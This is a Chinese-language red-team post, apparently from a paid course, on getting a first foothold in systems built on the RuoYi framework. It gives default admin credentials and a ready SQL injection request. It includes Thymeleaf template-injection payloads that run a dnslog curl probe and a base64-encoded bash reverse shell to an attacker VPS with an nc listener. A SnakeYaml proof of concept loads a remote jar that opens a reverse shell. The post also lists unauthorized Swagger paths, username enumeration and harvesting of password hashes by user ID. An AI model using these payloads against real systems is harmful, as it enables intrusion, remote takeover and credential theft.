
redteam-打点(若依打法)
本文提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;
本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除
本文来源:大白哥红队攻防演练课程(Des师傅授课部分)
需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡
一、弱口令
默认用户密码
用户名:admin
密码:admin123
二、shiro反序列化
三、SQL注入(低版本)
前提:需要登陆
漏洞点为系统管理中的角色管理的搜索功能,发现注入点参数为:
params[dataScope]
POC如下
POST /system/role/list HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=dea10cdb-9d3c-4f6a-854a-ea1ca540a992
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
四、Thymeleaf模板注入
前提:需要登陆
进了后台以后,发现以下四个接口路径都可以访问
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
访问
/monitor/cache/getNames
路径,使用Burp数据包
构造反弹shell命令,并进行base64编码
/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1
构造fragment的值,将经过base64编码以后的反弹shell语句放入以下payload,然后进行URL编码
payload结构:${T (java.lang.Runtime).getRuntime().exec("需要执行的命令")}
//dnslog探测
${T (java.lang.Runtime).getRuntime().exec("curl xxxx.dnslog.cn")}
http://192.168.0.2/monitor/cache/getNames?fragment=header(%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%78%78%78%78%2e%64%6e%73%6c%6f%67%2e%63%6e%22%29%7d%0a)
//反弹shell
${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}
http://192.168.0.2/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d
在VPS上面使用nc监听5566端口,用于接收反弹shell
更改请求方式为POST,拼接上刚刚经过URL编码的Payload,将数据包发送出去
响应状态码为200,回到VPS查看监听状态,反弹shell成功
五、SnakeYaml反序列化
前提:需要登陆
POC
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“http://artsploit.com/yaml-payload.jar"]
]]
]')
yaml-payload下载地址:https://github.com/artsploit/yaml-payload/
修改代码:在
AwesomeScriptEngineFactory.java
文件中写入恶意语句(反弹shell)
new String[]{"/bin/sh","-c","bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"}
将
AwesomeScriptEngineFactory.java
编译成.class文件
生成恶意jar包
//将src目录下的文件打包为yaml-payload.jar的jar包
jar -cvf yaml-payload.jar -C src/ .
在系统监控中创建一个定时任务,填入POC
六、Swagger未授权
若依系统内置了swagger,所以会有可能有未授权访问未授权访问路径常见的有
/swagger-ui.html
/prod-api/swagger-ui.html
/api/swagger-ui.html
...
配合目录扫描工具效果更佳
七、用户名遍历
通过接口获取用户名,搭配123456进行后台账户弱口令爆破
通过微信,以游客身份登录小程序,结合该系统后台API,利用以下请求接口成功获取到当前该系统后台管理员账户信息有
admin,admin_ah,admin_ah2
在
/prod-api/system/user/authRole/1
,通过遍历用户ID可获取该用户的密码hash值
还有其他各类接口,可参考其他利用若依框架开发的系统照搬。